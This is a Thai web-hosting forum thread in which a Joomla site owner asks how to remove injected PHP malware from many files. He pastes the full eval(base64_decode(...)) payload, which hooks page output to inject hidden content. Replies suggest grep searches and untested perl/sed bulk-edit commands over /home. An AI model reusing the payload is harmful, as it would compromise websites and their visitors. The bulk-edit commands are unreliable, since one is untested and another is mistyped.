วิธีแก้ไฟล์php ที่โดนแฮกแล้วแทรกโค๊ด

เว็บผมทำจาก joomla โดนแฮ็กครับ โดนแทรกโค๊ด <? /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9yZWxheHRoYS9wdWJsaWNfaHRtbC9iaXJkL2xpYi9wZWFyL2RvYy9DYWxlbmRhci9kb2NzL2V4YW1wbGVzL2NvcHBlci5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9yZWxheHRoYS9wdWJsaWNfaHRtbC9iaXJkL2xpYi9wZWFyL2RvYy9DYWxlbmRhci9kb2NzL2V4YW1wbGVzL2NvcHBlci5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==’)); ?> ทุกหน้าที่เป็น PHP เลยครับ กำลังลบโค๊ดนี่อยู่แต่ว่า มันมีหลายไฟล์ PHP มากเลย ใครรู้บ้างครับว่าแก้ PHP ไฟล์เดียวแล้วให้มีผลถึงทุกไฟล์เลย ทำอย่างไร หรือว่าผมต้องนั่งทำทีละไฟล์ครับ

ขอบคุณมากครับ

มันจะคล้าย iframe ไหมน๊าผมก็ดดนอยู่

คําแนะนําที่ได้มา
1.ดึงไฟลฺ์ลงมาแก้ทั้งหมด
2.เปลี่ยนpass ftp
3.สแกนไวรัส

ถ้า code ที่โดนแทรก มีรูปแบบเหมือนกันทั้งหมด ก็รัน perlแก้ได้ แต่90% code จะไม่เหมือนกันนะครับ
รับรองเลยว่า ไฟล์ที่มีชื่อ index โดนหมดทุกไฟล์ ไม่ว่าจะอยู่หน้า หรือว่าหลัง

Restore เฉพาะ php น่าจะง่ายที่สุดครับ ควรจะ Backup ไฟล์หน้าเว็บเก็บไว้ในเครื่องตัวเองด้วยนะครับ

ที่มันแทรกอยู่บรรทัดเดียวกันหรือปล่าวครับ แล้วในบรรทัดนั้นไม่มีโค้ดเราอยู่ แบบนี้ ลบทีเดียวทั้งหมดพร้อมๆกันได้

พรุ่งนี้ครับ มาบอกวิธีแก้ และแจกโปรแกรมแก้ครับ
หากระบบเสร็จนะครับ เพราะตอนนี้เร่งเขียนระบบ อยู่ 2 วันสอง คืนแล้วครับ พรุ่งนี้ได้ใช้แน่หาก เรียบร้อยนะครับเพราะตอนนี้ 80-90% แล้วครับ

รับลองถูกใจ กับทั่วแน่นอน

เพราะไอ้ code เวรนี้ ทำให้ server ติด blacklist กระจาย ทำให้เกิดส่งเมล์มั่ว และ reject กลับไปกลับมา เซงมัน

เหมือนใช้ ssh คำสั่ง อะไรเนี่ยแหละ

เห็นหลายกระทู้ แต่ไม่เคยเก็บไว้เลย

  • -a

ถ้าไม่ใช่เว็บปั่นก็ ใช้มือโลด

หรือไม่ก็เอา backup php ยัด ไป

ftp กลับมาบนเครื่องก่อนก็ได้ครับ
แล้วใช้ editplus search > replace เอาครับ

เห็นเขาชอบ quote link กัน :dry:

hxxp://www.thaiseoboard.com/index.php/topic,21572.msg272415.html#msg272415

ssh search แล้วต้องมา edit มืออยู่ดีครับ เพราะ code พวกนี้ random string มา
ลบมั่ว ฟังก์ชั่น เว็บหาย เอาคืนไม่ได้ ไม่แนะนำครับ

อีกวิธีให้เข้า DA ครับ ดู date file เอา จะสังเกตุได้ว่าไฟล์ใดโดนแก้ไปบ้างครับ และลอง edit เอาก็ ช่วยได้ระดับนึงเลย

# find /home -name *.php -print |xargs perl -pi -e 's|<? /**/eval(base64_decode('aWYoZnV ยาวๆ ผมเอาออกนะ ==')); ?>||g'

code นี้มันจะหาไฟล์ php ทั้งหมดใน /home แล้วหาที่มี script ปัญหาบรรทัดที่บอกมานั่น แล้วลบออกครับ

ผมไม่ได้ทดสอบนะครับ น่าจะทดสอบก่อนรัน โดยการสร้างไฟล์ 3-4 files ไว้ใน /home/temp สักอัน บางอันมี code ดังกล่าว บางอันไม่มี แล้วดูผล ไม่แน่ใจว่าใส่

ลองอีกแบบครับ
หากถูกแทรกบรรทัดเดียวไม่ปนกับสคริบเรานะครับใช้แบบนี้ได้

fine /home -name '*.php' -print0 | xargs -0 sed -i '/eval(base64_decode('aWYoZnVuY3Rpb2/ d'

มันจะลบทั้งบรรทัดที่มีคำว่า eval(base64_decode('aWYoZnVuY3Rpb2

วันนี้ก็เจอไปเวบหนึ่ง ผมใช้วิธีคุณแมน pin[KKE]yhost ครับ (พอดีติดแค่ .html ไม่กี่ file)

grep -R “script pattern” * > …/infectlist.txt

ตรง script pattern ก็ใส่แค่ eval(base64_decode แล้วก็ไปเปิด infectlist.txt ดูว่ามี file ไหนบ้างที่มี code eval… แล้วก็พิจารณาดูว่าเป็น code ที่ถูกแทรกหรือไม่

script พวกนี้หลาก หลายจริงๆ ครับ
จะให้ปลอดภัย ต้อง หา เขียนลงไฟล์ และไล่ลบด้วยมือ ชัวกว่าครับ

เพราะบางที บันทัด มันซ้อนกัน ลบสคิบตัวเองไปด้วย ก็ทำมาแล้ว = ="

วิธีนี้ใช้ได้ผลครับ ค้นหา และแก้ไขแฟ้มบน linux แบบโคตรง่าย

พอแก้ไขเสร็จแล้ว ก็ทำตามนี้ต่อ

[quote author=Yourthaihost.coM ไม่หล่อแต่จน link=topic=18984.msg180019#msg180019 date=1240323767]
มันจะคล้าย iframe ไหมน๊าผมก็ดดนอยู่

คําแนะนําที่ได้มา
1.ดึงไฟลฺ์ลงมาแก้ทั้งหมด
2.เปลี่ยนpass ftp
3.สแกนไวรัส

ขอบคุณทุกคนมากๆเลยครับที่ช่วยตอบ พยายามแก้อยู่ครับ สมมติถ้าเราให้support เค้าทำให้จะได้ไหมครับ ใช้ของนอกอ่ะครับ

ดาวน์โหลดไฟล์ทั้งหมดลงเครื่องแล้วอ่านจากลิงก์นี้ Click

ใช้ของนอกอยู่ ให้ support ทำให้เลย

^^

ไม่แน่ใจว่า support เมืองนอกจะทำให้หรือเปล่า ยังไงก็ลองสอบถามดูครับ

แต่หากเข้า ssh ได้มันก็จะง่ายขึ้นเยอะเพราะไม่ต้องโหลดไฟล์มาแก้ที่เครื่องเรา
สามารถสั่งแก้ไขได้ตรงๆเลย

วิธีแก้ไขหลักๆก็นิยมใช้คุณสมบัติ search/replace ของ perl ครับ
ส่วนวิธีการนั้นก็แล้วแต่ความถนัดและความสามารถของแต่ละคน

ตัวอย่าง

perl -pi -e 's/code pattern/new pattern/' filename
perl -pi -e 's/\/\*\*\/eval\(base64_decode\((.*?)Q\=\=\'\)\)\;//'